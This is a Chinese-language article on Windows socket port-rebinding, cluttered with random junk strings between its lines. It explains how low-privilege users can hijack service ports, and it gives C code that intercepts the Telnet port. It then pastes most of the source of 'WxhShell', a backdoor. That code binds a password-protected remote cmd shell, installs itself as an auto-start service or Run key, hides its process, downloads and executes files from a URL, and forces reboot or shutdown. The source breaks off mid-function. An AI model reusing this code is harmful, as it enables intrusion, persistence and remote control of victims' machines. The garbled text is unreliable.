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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9'|k@i: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jk|DWZ o(v7&m; saddr.sin_family = AF_INET; 4UW)XLu6T7 :D2GLq *\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); !]mo.zDSW5 dn42'(p@G bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $'!n4}$} i,Jz7OX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WyQ8}]1b ,_7m<(/f 这意味着什么?意味着可以进行如下的攻击: &DtI+)[| Z!'kN\z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g?j^d: "<&o;x< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #sv}%oV,F l_2l/ff9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m\
qR myO Q>w)b]d~c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 wax^iL! _q@lP| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e2nZwPH [CV0sYEA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |D'!.$7% F$:mGyl5_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q3t%JP>;g =q"0GUei3 #include }+[!h=Bx #include ?"}U?m= #include 0,__{?! #include slr>6o%W` DWORD WINAPI ClientThread(LPVOID lpParam); 0}kvuuR int main() 3_eg'EP.E { P6v@
Sn WORD wVersionRequested; b*nI0/cbR. DWORD ret; K6~')9Q WSADATA wsaData; DEfhR?v BOOL val; >E,/|K* SOCKADDR_IN saddr; n|QA\,= SOCKADDR_IN scaddr; QqeF int err; xw1,Wbu] SOCKET s; EW)r/Av:, SOCKET sc; kAxJ#RG int caddsize; 4l/~::y HANDLE mt; .Z 17X_ DWORD tid; 4h}\Kl wVersionRequested = MAKEWORD( 2, 2 ); 5':j=KQE_ err = WSAStartup( wVersionRequested, &wsaData ); h=NXU9n%' if ( err != 0 ) { 4dSAGLpp printf("error!WSAStartup failed!\n"); VF7H0XR/k5 return -1; wmP[\^c%$j } `"iPJw14 saddr.sin_family = AF_INET; aH500 LzB*d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]@}@G[e#[ 7d_"4;K) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %a-fxV[ saddr.sin_port = htons(23); ,~K4+
t_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HE2t0sAYX { /cZcfCW printf("error!socket failed!\n"); Au )%w return -1; @$!"}xDR' } 9*?YES'6 val = TRUE; U!nNT== //SO_REUSEADDR选项就是可以实现端口重绑定的 Mw;^`ZxT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (i@(ZG]/ { fX&g. fH printf("error!setsockopt failed!\n"); Hu!<GB~ return -1; B=%YD"FAv } Q6[h;lzGV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _9/Af1X //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <g8{LG0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <S@2%%W ;/^O7KM- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t{ridA} { !6s]p%{V ret=GetLastError(); !<>`G0 printf("error!bind failed!\n"); qMBEJ<o return -1; \5)
ZI'q } @oMl^UYM= listen(s,2); 5pE@Ww while(1) Nn5sD3z# { Oo%%f+ caddsize = sizeof(scaddr); @d[)i,d:G //接受连接请求 XToYtdt2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Pv8AWQQJ if(sc!=INVALID_SOCKET) ^DR`!.ttr { D4+OWbf6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [rhK2fr:i if(mt==NULL) -]MZP:s { O<0-`=W,a printf("Thread Creat Failed!\n"); 8O^z{Yh7 break; }GGH:v } xSjs+Y;Mu } sQY0Xys<4 CloseHandle(mt); )|S!k\^A } (Z>vbi% closesocket(s); Sj4 @pMh4 WSACleanup(); LoS%FI return 0; b=Q%Jxz? } YccD^w[`B DWORD WINAPI ClientThread(LPVOID lpParam) T:udw { N8]d0 SOCKET ss = (SOCKET)lpParam; SjU0Xb)[ SOCKET sc; u O~MT7~[X unsigned char buf[4096]; Uw>g^[V; SOCKADDR_IN saddr; E`3[62C long num; Z9PG7h DWORD val; ]<E\J+5K DWORD ret; k5GJrK+ //如果是隐藏端口应用的话,可以在此处加一些判断 eN
I6V/\` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 uacVF[9|W saddr.sin_family = AF_INET; , @6_sl saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eZRu{`AF* saddr.sin_port = htons(23); J,wpY$93 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ()@+QE$ { zDA;FKZPp printf("error!socket failed!\n"); ,W;2A0A?X return -1; y8O<_VOO}" } a 1pa#WC val = 100; }Xy<F?Mh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EXbhyg { ?$X1X`@ ret = GetLastError(); & Pzr)W( return -1; '[Ch8Yf\ } E.rfS$<1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ob>2SU[Y { &1Idv}@! ret = GetLastError(); >PiEu->P, return -1; Tk0Senq, } H9T'{R*FC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X9n},}bJ" { cH\.-5NQ printf("error!socket connect failed!\n"); L[ 7Aa"R closesocket(sc); `Jon^&^;| closesocket(ss); IqmoWn3 return -1; *.NVc } k:kx=K5=4 while(1) ^0&
{ Ea[K$NC)# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o8ADAU" //如果是嗅探内容的话,可以再此处进行内容分析和记录 c27A)`
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @,v.Y6Ge num = recv(ss,buf,4096,0); *H%Jgz, if(num>0) C)`y<O send(sc,buf,num,0); elm]e2)F else if(num==0) *H,vqs\}y break; veh?oJi@ num = recv(sc,buf,4096,0); *4F6U if(num>0) ;3WVrYe send(ss,buf,num,0); VE5M}kDCZ else if(num==0) '}NQ`\k break; &7t3D?K'qX } ]l4#KI@ closesocket(ss); P_ x9:3 closesocket(sc); ey>V^Fj return 0 ; r@Tq-o } zHvG3Ed@ hbv>Jjd s@ vHU4 ========================================================== 3]1uDgfr W-+~r 下边附上一个代码,,WXhSHELL \>*B ril4*$e7^\ ========================================================== zDO`w0N Wr Nm:N #include "stdafx.h" YYUWBnf30G V8.o}BWY #include <stdio.h> 8(c,b #include <string.h> Mm+kG'Z!S #include <windows.h> 8 P=z"y #include <winsock2.h> >|22%YVX #include <winsvc.h> UFy"hJchO #include <urlmon.h> eE/E#W8 }<hyW9 #pragma comment (lib, "Ws2_32.lib") (},TZ+u #pragma comment (lib, "urlmon.lib") X!%CYmIRb 4:p+C-gs #define MAX_USER 100 // 最大客户端连接数 |+Fko8- #define BUF_SOCK 200 // sock buffer w8df-]r #define KEY_BUFF 255 // 输入 buffer L^zF@n^5A w(KB=lA2 #define REBOOT 0 // 重启 WS?"OTH.^\ #define SHUTDOWN 1 // 关机 jNa'l<dn] @] `_+\y #define DEF_PORT 5000 // 监听端口 9,`eYAu g~JN"ap #define REG_LEN 16 // 注册表键长度 as?~N/} #define SVC_LEN 80 // NT服务名长度 Z;bg;@r| q'%-8t // 从dll定义API <k0$3&D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2#bpWk 9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z\fmwI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -W5ml
@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k_ ;+z xu _: // wxhshell配置信息 X)^kJ` struct WSCFG { -kVt_ int ws_port; // 监听端口 l|c# char ws_passstr[REG_LEN]; // 口令 `}YCUm[SI int ws_autoins; // 安装标记, 1=yes 0=no 3~7X2}qU char ws_regname[REG_LEN]; // 注册表键名 O%.c%)4Xo char ws_svcname[REG_LEN]; // 服务名 pLvvv#Y char ws_svcdisp[SVC_LEN]; // 服务显示名 `|\z#Et char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;LM,<QJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7LM?<lp] int ws_downexe; // 下载执行标记, 1=yes 0=no HH+$rrTT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?,J'3nZ' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CVp`G"W: 8MH ZWi }; K(+ ~#$|-~ kCO`JAH# // default Wxhshell configuration !vB8Pk" struct WSCFG wscfg={DEF_PORT, n.{Ud\| "xuhuanlingzhe", mBC?Pg 1, SW
^F "Wxhshell", G G]4g)O5 "Wxhshell", k/&~8l.$ "WxhShell Service", 0T{Z'3^= "Wrsky Windows CmdShell Service", U&uop$/Cq "Please Input Your Password: ", 1d4?+[)gUv 1, ]D@_cxud3 " http://www.wrsky.com/wxhshell.exe", Yz?4eSa/ "Wxhshell.exe" 4PwjG;!K }; H]7MN Y 1/O7KR`K // 消息定义模块 tiI:yq0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y Q_lJIX char *msg_ws_prompt="\n\r? for help\n\r#>"; -^i[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; IXaF(2> char *msg_ws_ext="\n\rExit."; MY]Z@ char *msg_ws_end="\n\rQuit."; a&3pPfC char *msg_ws_boot="\n\rReboot..."; dVh* a char *msg_ws_poff="\n\rShutdown..."; h7iI=[_V char *msg_ws_down="\n\rSave to "; Gf(|?"
H iB =R char *msg_ws_err="\n\rErr!"; '+6SkZ char *msg_ws_ok="\n\rOK!"; p_x@FA( nwOT%@nw char ExeFile[MAX_PATH]; Lc<v4Bp int nUser = 0; @pcmVsIp HANDLE handles[MAX_USER]; |#p`mc%f~\ int OsIsNt; L{py\4z'_ U,?[x2LF SERVICE_STATUS serviceStatus; cN}Aeo SERVICE_STATUS_HANDLE hServiceStatusHandle; SLyeonM-C kf3 u',}R // 函数声明 BB&7VSgc- int Install(void); <<,YgRl2 int Uninstall(void); 95
7Cr int DownloadFile(char *sURL, SOCKET wsh); 8.S&J6 int Boot(int flag); .Du-~N4\ void HideProc(void); T2Q`Ax7 int GetOsVer(void);
}pOem} int Wxhshell(SOCKET wsl); 1'O++j_%y void TalkWithClient(void *cs); T)ZO+} int CmdShell(SOCKET sock); 21b int StartFromService(void); K+=cNC4B int StartWxhshell(LPSTR lpCmdLine); vhA4ol 0}a="`p#< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5C}1iZEJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); S${n:e0\ IkzY // 数据结构和表定义 _O76Aw-@l SERVICE_TABLE_ENTRY DispatchTable[] = Sm@T/+uG: { n-/{H4\ {wscfg.ws_svcname, NTServiceMain}, cO]_5@#f'8 {NULL, NULL} $e
bx }; |yqL0x0\l jea{BhdUr // 自我安装 ~C|. .Z int Install(void) u@V|13p< { )5NfOvmNB char svExeFile[MAX_PATH]; EDMuQu/D8 HKEY key; Y8c#"vm( strcpy(svExeFile,ExeFile); CK<Wba ws!pp\F // 如果是win9x系统,修改注册表设为自启动 : MfY8P) if(!OsIsNt) { O] T'\6w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4CUzp.S`h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kj$Ks2!W RegCloseKey(key); k[ {h$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h!k[]bt5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tZW2TUM] RegCloseKey(key); f6\`eLG i1 return 0; I?2S{]!? } cPFs K*w } p_^Jr*Mv } r#svj*dn else { 4 f)B@A- g4Y1*`}2f // 如果是NT以上系统,安装为系统服务 b4Y< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4=BIYC"Lu if (schSCManager!=0) 3PmM+}j3 { #@rvoi SC_HANDLE schService = CreateService Q L0 ( _6y#?8RMB schSCManager, =tP%K*Il4 wscfg.ws_svcname, S.u1[Yz^ wscfg.ws_svcdisp, F$tshe( SERVICE_ALL_ACCESS, Ol%KXq[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TBAF_$ SERVICE_AUTO_START, | z1 SERVICE_ERROR_NORMAL, I&m C svExeFile, ~AqFLv/% NULL, <_o).hE{ NULL, 0j}!4D+ NULL, ^Z
dDs8j NULL, |`N|S NULL "s$$M\)T ); thT2U8%T if (schService!=0) 8h,>f#)0c { 8-s7^*! CloseServiceHandle(schService); ZGa;' CloseServiceHandle(schSCManager); &xAwk-{W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T[M:%vjYF strcat(svExeFile,wscfg.ws_svcname); VLdQXNg9W" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y.iA]Ikz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wFe?0u RegCloseKey(key); @%aU)YDwi return 0; Q%_QT0H9Kz } dH5 Go9`~R } 4l2/eh]Hc( CloseServiceHandle(schSCManager); ;hz;|\ko5 } mz[Q]e~&i } {5GXN! f ~AvB5 return 1; 4qsP/`8 } 9;ZaL7> 5$58z // 自我卸载 !R`E+G@ int Uninstall(void) !_yWe { e&R?9z-* HKEY key; S)?V;@p6 G!G]*p5 if(!OsIsNt) { lG1\41ZxB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y-.<iq RegDeleteValue(key,wscfg.ws_regname); 5YZh e4R RegCloseKey(key); _A>?@3La9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MWl2;qi RegDeleteValue(key,wscfg.ws_regname); )z".lw RegCloseKey(key); %X5p\VS\7 return 0; mqt$'_M } ~; V5*t } L?Fb} } H Q_IQ+ else { ++gWyzD 762c`aP_( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _
SuW86 if (schSCManager!=0) :{g;J { &1 BACKu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6zZT5
Kn if (schService!=0) )/p=ZH0[ { D\4pLm"!v if(DeleteService(schService)!=0) { H(QbH)S$6 CloseServiceHandle(schService); ^o LMgz CloseServiceHandle(schSCManager); -4;$NiB? return 0; vWs#4JoG } {%&!x;% CloseServiceHandle(schService); 59@PY! c> } S/2lK*F CloseServiceHandle(schSCManager); _+aMP=H } 1(diG& } Q?g#?z&Pu\ _ ;!$1lM[ return 1; BwJL)$D<S } O{<uW- p=d,kY // 从指定url下载文件 Y9SaYSX int DownloadFile(char *sURL, SOCKET wsh) !q8"Q t { M(|6YF7u HRESULT hr; d5YL=o char seps[]= "/"; VE $Kdo^ char *token; r,r"?}Z char *file; ty>9i]Y- char myURL[MAX_PATH]; N hY`_?) char myFILE[MAX_PATH]; GzN /0:b Y(/y,bJ?jp strcpy(myURL,sURL); k^{}p8;3 token=strtok(myURL,seps); SR$?pJh D% while(token!=NULL) %_L~"E 2e { O'~>AC5{ file=token; Oj F]K,$ token=strtok(NULL,seps); nw } sPP(>y( \ i6FviZx GetCurrentDirectory(MAX_PATH,myFILE); W%-` strcat(myFILE, "\\"); (R|_ 6[zy strcat(myFILE, file); :5#iVa#< send(wsh,myFILE,strlen(myFILE),0); 3P|z`}Ka send(wsh,"...",3,0); 5L 0w!q'W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L2Z-seE if(hr==S_OK) }nK=~Wcu\ return 0; Maw$^Tz, else aJzyEb return 1; GTocN1,Z~a f5`q9w_c } q |Orv=v @#>YU // 系统电源模块 tE$oV int Boot(int flag) ;[q> { +'"NKZ.>TT HANDLE hToken; = tY%k!R TOKEN_PRIVILEGES tkp; )~{8C: *?x[pqGq if(OsIsNt) { VD90JU]X< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m5%E1k$= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TNF+yj-|X: tkp.PrivilegeCount = 1; ,R7RXpP7t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l,k.Jo5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aE2Yl if(flag==REBOOT) { ]A,Og_g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y6P-:f/&* return 0; l H{~?x } bNG7A[|B else { J] )gXVRM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b\Mb6s return 0; /ptG }
X?z
CB } y(yBRR else { mNPz%B if(flag==REBOOT) { Z5Tu*u= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G4,.kK return 0; AmX ~KK } M=sGPPj else { `G<|5pe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o9+fAH`D return 0; We@wN: } J l
fIYf~ } *XkgwJq Dq<!wtFG[ return 1; :OD-L)Or } h/NI5 Z!z#+G // win9x进程隐藏模块 V5!mV_EoR@ void HideProc(void) ; 6q`c!p7 { v9GfudTZR om1D} irKT HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iHk/#a if ( hKernel != NULL ) =p \eh?^ { 6Zmzo,{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OP98 sd&T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UW],9r/PD@ FreeLibrary(hKernel); 4v#A#5+O E } =PmIrvr'[5 Tilw.z return; yhxZ^(I } [-hsG E @ 5V3I^ // 获取操作系统版本 ;edt["Eu int GetOsVer(void) 8.tp#x,A { L[. )!c8k OSVERSIONINFO winfo; X-F:)/$xG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J8@7
5p9 GetVersionEx(&winfo); Eikt, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jzj>=jWX@ return 1; c{\x<AwO else ;*>':-4 return 0; 7D=gAMPvJ } im@c|| :Y[?@/m4 // 客户端句柄模块 {TC_
4Y|8 int Wxhshell(SOCKET wsl) hEfFMi=a` { Z#flu Q%V SOCKET wsh; ngl8) B struct sockaddr_in client; ?dQ#%06mn DWORD myID; )'e9(4[V1 Vee;& while(nUser<MAX_USER) f=Kt[|%'e { ~?:Xi_3Lo int nSize=sizeof(client); mO@Sl(9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VR vX^w0 if(wsh==INVALID_SOCKET) return 1; otJHcGv 4@"n7/< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ya
~lPc if(handles[nUser]==0) FfibR\dhY closesocket(wsh); I#:,!vjn else &h?8yV4B nUser++; ]MRQcqbpqL } ^e:rRk7 & WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ntD8:%m "/zDcZbL; return 0; Kc{~Q } )B5(V5-!| Wf9K+my // 关闭 socket kg()C%#u
void CloseIt(SOCKET wsh) #W[C;f|, { 2D"\Ox closesocket(wsh); -"w&g0Z nUser--; )Zit6I ExitThread(0); .ot[_*A.FD } m*\XH
DB y*5$B.u`. // 客户端请求句柄 jrm
L>0NZ void TalkWithClient(void *cs) 9 p`|~^X { r]O8|#P,Z$ )Ga 3Ji}' SOCKET wsh=(SOCKET)cs; X{;3gN char pwd[SVC_LEN]; (0QYX[(r~o char cmd[KEY_BUFF]; nCSXvd/ char chr[1]; R\>=}7 int i,j; .6y(ox|LL x#TWZ; while (nUser < MAX_USER) { m|k:wuzqK : t6.J if(wscfg.ws_passstr) { /rmm@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \I~9%QJ> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TDjjaO //ZeroMemory(pwd,KEY_BUFF); vV /fTO i=0; `yWWX.` while(i<SVC_LEN) { ^*+-0b;[G mc}r15:< // 设置超时 YLe$Vv735 fd_set FdRead; Mf.:y struct timeval TimeOut; .[hbiv# FD_ZERO(&FdRead); e(;nhU3a*, FD_SET(wsh,&FdRead); I
DtGtkF TimeOut.tv_sec=8; \:d|'r8OCM TimeOut.tv_usec=0; h2fTG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6j=a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rw]*Nxgr ]{E{ IW8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3&vUR(10 pwd =chr[0]; 4
n\dh<uY if(chr[0]==0xd || chr[0]==0xa) { ,L,?xvWG pwd=0; {;Ispx0m break; cb9q0sdf } Q.`O;D}x i++; 09C[B+>h } 8A3!XA eWwI@ASaA // 如果是非法用户,关闭 socket `PeWV[? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *kWrF* )J } o 2sOf Q.]RYv}\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ziBg' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L?p,Sy<RI d!]fou while(1) { V;t8v\ /?Fa<{ ZeroMemory(cmd,KEY_BUFF); 6=xbi{m$ \IG"Te // 自动支持客户端 telnet标准 4'ymPPY j=0; Xv1mjHZCC while(j<KEY_BUFF) { *Mr?}_,X* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I%fz^:[#< cmd[j]=chr[0]; y:N>t+'5 if(chr[0]==0xa || chr[0]==0xd) { 0(~,U!g[= cmd[j]=0; 3-Xc3A=w break; C!r9+z)< } 6Jf\}^4@k j++; _&
qM^ } {=GWQn6cc d)7V: // 下载文件 "vnWq=E2 if(strstr(cmd,"http://")) { _LUTIqlvi send(wsh,msg_ws_down,strlen(msg_ws_down),0); $VLCD if(DownloadFile(cmd,wsh)) `:fc*n,* send(wsh,msg_ws_err,strlen(msg_ws_err),0); :6Oh ?y@ else 1Ev#[FOc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t/9,JG } y
2v69nu~q else { ~Q)137u]P 8!uqR!M<C switch(cmd[0]) { 'WW[' .^J7^Ky, // 帮助 gAWrn^2L5 case '?': { Yh}F send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $5;RQNhXh break; 0Zv<]xO } |p1pa4%} // 安装 Ni4*V3VB case 'i': { JZ if(Install()) *l-(tp5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRx8E;Q@h? else EL[N%M3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9O/l{ break; p&%M=SzN } x>yeF,q1 // 卸载 8 O5@FU
3 case 'r': { _4VS.~}/R if(Uninstall()) )=)=]|3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #n_uELE else
`xpU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nxc35 break; 8v)PDO~D}A } uJP9J U
// 显示 wxhshell 所在路径 `RG_FS"v case 'p': { &E>zvRBQ char svExeFile[MAX_PATH]; 8I'Am"bc\ strcpy(svExeFile,"\n\r"); J0hY~B~X strcat(svExeFile,ExeFile); Q*+_%n1
/ send(wsh,svExeFile,strlen(svExeFile),0); 8VwByk8
break; `Oc`I9 } MFyMo // 重启 z!={d1u#T case 'b': { @fH?y Z=> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kM`!'0kt if(Boot(REBOOT)) !y>MchNv send(wsh,msg_ws_err,strlen(msg_ws_err),0); \5wC&|WEB else { :%?\Wj5HW closesocket(wsh); |$vhu`]Z@^ ExitThread(0); I=,u7w`m } ,DT=( break; cQaEh1n } f
V|Zh // 关机 vh~:{akR case 'd': { jaj."v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `euk&]/^.) if(Boot(SHUTDOWN)) +=y ktf send(wsh,msg_ws_err,strlen(msg_ws_err),0); ms%Ot:uA else { o9:GKc closesocket(wsh); F+`DfI]/m ExitThread(0); '42P=vzo } om"q[Tudc break; m*h, <,}-+ } OudD1( )W // 获取shell o >=YoG case 's': { &&w7- CmdShell(wsh); o.}?K>5 closesocket(wsh); S|8O$9{x9q ExitThread(0); S:UtmS+K break; 'M*+HY\.0 } (\si/& // 退出 fU+A~oL%I case 'x': { .g7ebh6D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Iy @PR?> CloseIt(wsh); hwmpiyu break; 4g#pQ } oy-Qy // 离开 h<wF;g, case 'q': { XB &-k<C send(wsh,msg_ws_end,strlen(msg_ws_end),0); &\\iD :J closesocket(wsh); 9's/~T WSACleanup(); w@Pc7$EP exit(1); 5@+8*Fdk break; UN&b]vg } f.gkGwNk } -4JdKO }
9Q".166 >sE5zj|V // 提示信息 2w=0&wG4K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@I@7Pvo3 } m6bI<C3^5 } `A\
!Gn? y?-wjJS> return; T|p$Ddt`+ } 'iN8JO> 877>=Tp| // shell模块句柄 <R:KR(bT int CmdShell(SOCKET sock) ?o h3t { ChLU(IPo6 STARTUPINFO si; V(3udB@K ZeroMemory(&si,sizeof(si)); ku*|?uF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;bd\XHwMUP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 63QSYn,t PROCESS_INFORMATION ProcessInfo; a$I;
L char cmdline[]="cmd"; $S$%avRX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Aa&3x~3+ return 0; 5Mb1==/R } V#W(c_g TA=Ij,z~ // 自身启动模式 S:] w@$ int StartFromService(void) nMcd(&`N { bwo" s[w typedef struct O'deQq[ { :L9\`&}FS DWORD ExitStatus; (jkjj7a DWORD PebBaseAddress; {M]m cRB( DWORD AffinityMask; >L anuv)O DWORD BasePriority; `xkJ.,#Io ULONG UniqueProcessId; kTG}>I ULONG InheritedFromUniqueProcessId; n<7#?X7 } PROCESS_BASIC_INFORMATION; M`umfw T H7)(<6b,z PROCNTQSIP NtQueryInformationProcess; ;w?zmj<Dm &l%#OI}OE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4EuZe:'X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tkWWR%c" Z{RgpVt HANDLE hProcess; hNFMuv
